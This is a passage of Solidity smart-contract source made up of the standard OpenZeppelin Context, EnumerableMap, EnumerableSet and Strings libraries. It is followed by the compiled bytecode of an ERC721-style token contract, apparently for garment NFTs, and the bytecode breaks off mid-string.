information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x608060405234801561001057600080fd5b5060043610610175576000357c01000000000000000000000000000000000000000000000000000000009004806356c31637116100e0578063b88d4fde11610099578063b88d4fde1461079e578063c87b56dd146108a3578063c9f2e86a1461094a578063cd53d08e1461098c578063d0def521146109e4578063e985e9c514610a9157610175565b806356c31637146105345780636352211e146105985780636c0360eb146105f057806370a082311461067357806395d89b41146106cb578063a22cb4651461074e57610175565b80632f745c59116101325780632f745c59146103925780633b3a1a7a146103f457806342842e0e1461041257806342966c68146104805780634f558e79146104ae5780634f6ccce7146104f257610175565b806301ffc9a71461017a57806306fdde03146101dd578063081812fc14610260578063095ea7b3146102b857806318160ddd1461030657806323b872dd14610324575b600080fd5b6101c56004803603602081101561019057600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610b0b565b60405180821515815260200191505060405180910390f35b6101e5610b72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022557808201518184015260208101905061020a565b50505050905090810190601f1680156102525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61028c6004803603602081101561027657600080fd5b8101908080359060200190929190505050610c14565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610304600480360360408110156102ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caf565b005b61030e610df3565b6040518082815260200191505060405180910390f35b6103906004803603606081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e04565b005b6103de600480360360408110156103a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7a565b6040518082815260200191505060405180910390f35b6103fc610ed5565b6040518082815260200191505060405180910390f35b61047e6004803603606081101561042857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610edb565b005b6104ac6004803603602081101561049657600080fd5b8101908080359060200190929190505050610efb565b005b6104da600480360360208110156104c457600080fd5b810190808035906020019092919050505061101b565b60405180821515815260200191505060405180910390f35b61051e6004803603602081101561050857600080fd5b810190808035906020019092919050505061102d565b6040518082815260200191505060405180910390f35b6105806004803603604081101561054a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611050565b60405180821515815260200191505060405180910390f35b6105c4600480360360208110156105ae57600080fd5b81019080803590602001909291905050506110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105f86110e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063857808201518184015260208101905061061d565b50505050905090810190601f1680156106655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106b56004803603602081101561068957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b6106d3611258565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107135780820151818401526020810190506106f8565b50505050905090810190601f1680156107405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61079c6004803603604081101561076457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506112fa565b005b6108a1600480360360808110156107b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561081b57600080fd5b82018360208201111561082d57600080fd5b8035906020019184600183028401116401000000008311171561084f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506114b0565b005b6108cf600480360360208110156108b957600080fd5b8101908080359060200190929190505050611528565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561090f5780820151818401526020810190506108f4565b50505050905090810190601f16801561093c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109766004803603602081101561096057600080fd5b81019080803590602001909291905050506117f9565b6040518082815260200191505060405180910390f35b6109b8600480360360208110156109a257600080fd5b8101908080359060200190929190505050611811565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a7b600480360360408110156109fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610a3757600080fd5b820183602082011115610a4957600080fd5b80359060200191846001830284011164010000000083111715610a6b57600080fd5b9091929391929390505050611844565b6040518082815260200191505060405180910390f35b610af360048036036040811015610aa757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e5565b60405180821515815260200191505060405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c0a5780601f10610bdf57610100808354040283529160200191610c0a565b820191906000526020600020905b815481529060010190602001808311610bed57829003601f168201915b5050505050905090565b6000610c1f82611a79565b610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061347d602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610cba826110aa565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061352d6021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610d60611a96565b73ffffffffffffffffffffffffffffffffffffffff161480610d8f5750610d8e81610d89611a96565b6119e5565b5b610de4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806133d06038913960400191505060405180910390fd5b610dee8383611a9e565b505050565b6000610dff6002611b57565b905090565b610e15610e0f611a96565b82611b6c565b610e6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061354e6031913960400191505060405180910390fd5b610e75838383611c60565b505050565b6000610ecd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611ea390919063ffffffff16565b905092915050565b600a5481565b610ef6838383604051806020016040528060008152506114b0565b505050565b6000610f05611a96565b90508073ffffffffffffffffffffffffffffffffffffffff16610f27836110aa565b73ffffffffffffffffffffffffffffffffffffffff161480610f4f5750610f4e8282611050565b5b610fc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4f6e6c79206761726d656e74206f776e6572206f7220617070726f766564000081525060200191505060405180910390fd5b610fca82611ebe565b600b600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600c6000838152602001908152602001600020600090555050565b600061102682611a79565b9050919050565b600080611044836002611ff890919063ffffffff16565b50905080915050919050565b600061106461105e846110aa565b836119e5565b806110a257508173ffffffffffffffffffffffffffffffffffffffff1661108a84610c14565b73ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b60006110da826040518060600160405280602981526020016134326029913960026120269092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111795780601f1061114e57610100808354040283529160200191611179565b820191906000526020600020905b81548152906001019060200180831161115c57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613408602a913960400191505060405180910390fd5b611251600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612046565b9050919050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112f05780601f106112c5576101008083540402835291602001916112f0565b820191906000526020600020905b8154815290600101906020018083116112d357829003601f168201915b5050505050905090565b611302611a96565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b80600560006113b0611a96565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661145d611a96565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6114c16114bb611a96565b83611b6c565b611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061354e6031913960400191505060405180910390fd5b6115228484848461205b565b50505050565b606061153382611a79565b611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806134fe602f913960400191505060405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116315780601f1061160657610100808354040283529160200191611631565b820191906000526020600020905b81548152906001019060200180831161161457829003601f168201915b5050505050905060606116426110e1565b90506000815114156116585781925050506117f4565b6000825111156117295780826040516020018083805190602001908083835b6020831061169a5780518252602082019150602081019050602083039250611677565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106116eb57805182526020820191506020810190506020830392506116c8565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050506117f4565b80611733856120cd565b6040516020018083805190602001908083835b602083106117695780518252602082019150602081019050602083039250611746565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106117ba5780518252602082019150602081019050602083039250611797565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b600c6020528060005260406000206000915090505481565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006118588383611853611a96565b612233565b61186e6001600a5461231a90919063ffffffff16565b600a819055506000600a54905061188585826123a2565b6118d38185858080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506123c0565b6118db611a96565b600b600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f997115af5924f5e38964c6d65c804d4cb85129b65e62eb20a8ca6329dbe57e1881868686611959611a96565b604051808681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001806020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281038252858582818152602001925080828437600081840152601f19601f820116905080830192505050965050505050505060405180910390a1809150509392505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000611a8f82600261244a90919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b11836110aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611b6582600001612464565b9050919050565b6000611b7782611a79565b611bcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806133a4602c913960400191505060405180910390fd5b6000611bd7836110aa565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c4657508373ffffffffffffffffffffffffffffffffffffffff16611c2e84610c14565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c575750611c5681856119e5565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611c80826110aa565b73ffffffffffffffffffffffffffffffffffffffff1614611cec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806134d56029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061335a6024913960400191505060405180910390fd5b611d7d838383612475565b611d88600082611a9e565b611dd981600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061247a90919063ffffffff16565b50611e2b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061249490919063ffffffff16565b50611e42818360026124ae9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000611eb283600001836124e3565b60019004905092915050565b6000611ec9826110aa565b9050611ed781600084612475565b611ee2600083611a9e565b60006008600084815260200190815260200160002080546001816001161561010002031660029004905014611f3157600860008381526020019081526020016000206000611f309190613220565b5b611f8282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061247a90919063ffffffff16565b50611f9782600261256690919063ffffffff16565b5081600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60008060008061200b8660000186612580565b91509150816001900481600190049350935050509250929050565b6000612039846000018460010284612619565b6001900490509392505050565b60006120548260000161270f565b9050919050565b612066848484611c60565b61207284848484612720565b6120c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806133286032913960400191505060405180910390fd5b50505050565b60606000821415612115576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061222e565b600082905060005b6000821461213f578080600101915050600a828161213757fe5b04915061211d565b60608167ffffffffffffffff8111801561215857600080fd5b506040519080825280601f01601f19166020018201604052801561218b5781602001600182028036833780820191505090505b50905060006001830390508593505b6000841461222657600a84816121ac57fe5b066030017f010000000000000000000000000000000000000000000000000000000000000002828280600190039350815181106121e557fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161221e57fe5b04935061219a565b819450505050505b919050565b6000838390501161228f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061357f602d913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612315576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806135ac6033913960400191505060405180910390fd5b505050565b600080828401905083811015612398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6123bc828260405180602001604052806000815250612971565b5050565b6123c982611a79565b61241e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806134a9602c913960400191505060405180910390fd5b80600860008481526020019081526020016000209080519060200190612445929190613268565b505050565b600061245c83600001836001026129e2565b905092915050565b600081600001805490509050919050565b505050565b600061248c8360000183600102612a05565b905092915050565b60006124a68360000183600102612aed565b905092915050565b60006124da84600001846001028473ffffffffffffffffffffffffffffffffffffffff16600102612b5d565b90509392505050565b600081836000018054905011612544576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133066022913960400191505060405180910390fd5b82600001828154811061255357fe5b9060005260206000200154905092915050565b60006125788360000183600102612c39565b905092915050565b600080828460000180549050116125e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061345b6022913960400191505060405180910390fd5b60008460000184815481106125f357fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b600080846001016000858152602001908152602001600020549050600081141583906126e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126a557808201518184015260208101905061268a565b50505050905090810190601f1680156126d25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508460000160018203815481106126f357fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b60006127418473ffffffffffffffffffffffffffffffffffffffff16612d52565b61274e5760019050612969565b60606128d463150b7a027c01000000000000000000000000000000000000000000000000000000000261277f611a96565b888787604051602401808573fffffffffffffffffffffffff